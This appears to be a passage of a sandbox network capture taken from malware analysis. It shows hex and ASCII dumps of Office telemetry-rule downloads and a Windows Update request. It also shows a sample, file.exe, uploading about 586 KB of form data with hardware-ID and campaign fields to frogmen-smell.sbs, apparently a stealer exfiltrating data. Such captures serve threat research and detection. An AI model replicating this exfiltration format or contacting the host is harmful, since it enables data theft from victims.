2024-11-15 18:39:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-16547b76f7f775p5hC1DFWzdvn0000000nhg000000008196 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-16547b76f7fht2hfhC1DFWbngg000000021000000000nvn5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-16547b76f7f7zzl8hC1DFWmtag00000000ng000000004zpq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-16547b76f7f67wxlhC1DFWah9w0000000nmg0000000005bc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-16547b76f7fw2955hC1DFWsptc000000026g000000009vuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:27 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183926Z-1866b5c5fbbkbjq9hC1DFWf1es00000000gg00000000cavx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-15 18:39:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49758	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=udU4CZ+cV4M2lSX&MD=dRkMo68v HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-15 18:39:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f2541141-3c12-47d2-ae0e-8d39e95dfe79 MS-RequestId: 92b76eb8-7bef-4a74-aae0-6556912f202f MS-CV: x8rjGQmrQkOcaVOA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Nov 2024 18:39:26 GMT Connection: close Content-Length: 24490
2024-11-15 18:39:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-15 18:39:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49769	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:27 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LNW52ZATL9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586222 Host: frogmen-smell.sbs
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: 2d 2d 4c 4e 57 35 32 5a 41 54 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 0d 0a 2d 2d 4c 4e 57 35 32 5a 41 54 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 4e 57 35 32 5a 41 54 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 4e 57 35 32 5a 41 54 4c 39 0d 0a 43 6f Data Ascii: --LNW52ZATL9Content-Disposition: form-data; name="hwid"344FFAC76E3F0E2BC01A23AA4E7096E5--LNW52ZATL9Content-Disposition: form-data; name="pid"1--LNW52ZATL9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LNW52ZATL9Co
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: fd 58 82 fb 8f 9e be a8 e1 d8 c6 7d 98 5a 28 9f c1 dd ac 96 e9 c6 6b 2d c7 f0 c2 95 0a 83 4c f5 a9 b7 a5 80 32 39 ae 75 bb a2 25 d3 7a e0 c4 6a ce d9 60 6a 2d 13 0b ff e4 f8 cc 1c 2c 1f ae d9 8b 83 0b 6b aa bb aa ca 17 7f 1c 06 27 5b 0e f7 99 f6 14 5c 9d 79 75 ac ff ff 6f 03 b0 4f 2c f1 80 6f 83 67 b1 10 b7 b1 73 97 6e 31 e2 f0 37 58 5c 96 d7 fe bd c3 32 c0 1e 68 76 b8 80 52 34 68 24 93 7b 74 80 57 13 17 7c 80 a1 5b a7 8f c6 7a 27 33 0b 75 fc f6 a2 b6 1f 56 af 9c e7 82 2a 2d c2 0e e4 fe 2e 5d ca 74 19 f0 fe 98 41 e5 65 01 c0 bf d3 6d ae c5 67 98 2e 36 57 a7 c6 a4 f2 63 9e 6c 14 26 42 6f fa 95 c6 79 f3 2f 21 0c 35 bb 11 2e fe 29 a0 b9 7d 36 50 ff 81 81 cb 92 69 aa 37 66 5a ad 0f 9e e2 ea 2a 2f c0 c2 88 14 2b 2c 39 90 f6 72 9f d7 2e 92 5f 55 4b ce 94 93 d6 Data Ascii: X}Z(k-L29u%zj`j-,k'[\yuoO,ogsn17X\2hvR4h${tW\|[z'3uV-.]tAemg.6Wcl&Boy/!5.)}6Pi7fZ/+,9r._UK
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: cf b6 88 d7 c1 63 85 c1 9d ab 50 76 63 a8 33 7c 6c 7c b2 18 11 78 2c a1 c3 36 4d d9 19 e2 ae 83 a1 ee bb 89 c2 41 ca 6d 2d 79 48 8d 5d d6 0b b5 3a f7 af d9 65 ae bf 22 2b 9e 8b d3 4e 09 52 fd 36 a0 b1 9d a5 5a 9f e0 ec cc 23 5b 64 dd 6b 1f d3 94 2d 5d 40 5f a4 00 36 12 e3 55 fa d8 6a 41 d8 90 42 d1 ae ba 6d ae ef d4 d1 21 72 bf c1 a9 0e 42 85 6f fe d7 9a 98 9b d2 d6 e8 2f cc df f7 68 e8 79 79 a1 e2 2a 9d 6e 39 7c 9d e7 e4 1d 86 b2 22 78 76 82 4b aa 60 47 df 04 e6 de 45 f5 9a 7f 0a 82 15 b0 b2 42 ad 52 91 88 0e 8b d4 4f 47 cf 1b 76 af b9 5c 8d e0 83 18 77 ae 1d a4 f2 6e 5d d9 49 0d d1 a8 70 9e b7 65 16 d0 16 cf b1 98 51 02 15 38 99 40 c6 ce b2 55 72 c5 1f 7f e7 06 8a 95 67 5f 07 f8 c9 80 ce 8d fe 01 61 2b fb 5f 6d 5a 13 52 56 15 8e 25 b1 84 19 bd b4 be bf Data Ascii: cPvc3\|l\|x,6MAm-yH]:e"+NR6Z#[dk-]@_6UjABm!rBo/hyy*n9\|"xvK`GEBROGv\wn]IpeQ8@Urg_a+_mZRV%
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: 14 58 9e df 4f 4b 9a 3a b1 7b 6e a1 5e ce 2c a1 72 ec 16 29 85 56 b5 07 0c 3b 07 6d bf 5f f5 5b 09 c9 c0 17 04 c7 ae 1e 65 2f 24 cf 98 0c 10 29 b2 3c 86 cd 77 df 68 e2 18 b3 5f 76 7b d5 ea a5 04 56 41 a8 db c1 8e 02 45 7f 70 70 a2 ac c4 72 7f ce f8 ba d4 c2 d9 f1 aa e4 7e 34 e0 cc 05 d9 ad 53 d7 5a f4 6d 25 54 be d5 51 b8 f9 eb de 13 df 58 a0 41 8d 39 b7 ec ab d0 e7 76 bf 8f c2 1a c5 c0 49 cb f7 1e a7 3e 13 e7 ad 5e de 65 b5 c5 9c 37 e2 49 ba 38 41 97 0b a6 ee 0e 70 49 d2 02 eb 9a 51 ca 39 56 17 58 9b cf 58 d6 3a 3b 50 80 64 29 0d de ac 8b 7b 01 ce ba 88 ba fb fa 8f 57 29 42 b0 4f d4 7a b0 32 db 59 8f 0b 88 0e 33 5c eb 83 9a 65 b3 50 9e 72 7d 41 53 7a 96 72 55 37 37 35 00 77 df 29 e1 39 2c 08 e7 15 3c 64 57 3c b2 3c 26 81 86 bd 3b 06 74 fd 2a 89 a8 68 e6 Data Ascii: XOK:{n^,r)V;m_[e/$)<wh_v{VAEppr~4SZm%TQXA9vI>^e7I8ApIQ9VXX:;Pd){W)BOz2Y3\ePr}ASzrU775w)9,<dW<<&;t*h
2024-11-15 18:39:27 UTC	15331	OUT	Data Raw: 3d 05 a0 40 80 2c c8 00 1c 80 1f db 31 19 89 46 7c 4a 24 98 f7 83 10 95 ca 41 76 2a 3c a2 6e 40 e7 59 5e 0f 87 81 7e 4f f0 cf b5 f8 0c 71 25 65 81 78 46 4b 75 55 8b 4e 0a 04 4b 41 07 6f b3 7d d0 e0 e6 32 a2 75 db 91 b2 08 bf 33 1f 40 e1 28 72 a0 80 fe ba e2 4e 1c 62 e7 7a aa ab 0b 7a 14 31 0b 05 25 ea ca ab ae 8d ba 06 db 8d 0b 02 16 9e 4f 02 3e 88 fc 2c a4 f3 b6 20 62 c0 a6 3c 76 80 e1 d2 50 f2 d4 f4 f9 31 87 0c 48 c2 48 5c fa ac 82 fc b1 e2 7a 09 44 2a 44 b3 6e c8 24 c2 71 a9 67 7b 83 4a d5 64 55 b1 90 40 cc 25 33 fd d7 b3 ce 99 2a b2 a1 e1 fe 93 28 8b 43 62 a7 cd 8c ad 8c f7 68 b0 b6 0a 25 e9 29 6a 60 ff 70 a3 eb d6 9f 22 4a 8d 7e dd 03 6e be 3f 90 4b a3 de f8 46 9b 64 88 d6 b6 d6 84 a0 e1 26 01 cc 5b 74 81 21 46 62 3b ad ad 38 47 09 fa 25 46 21 1f ab Data Ascii: =@,1F\|J$Av<n@Y^~Oq%exFKuUNKAo}2u3@(rNbzz1%O>, b<vP1HH\zDDn$qg{JdU@%3*(Cbh%)j`p"J~n?KFd&[t!Fb;8G%F!
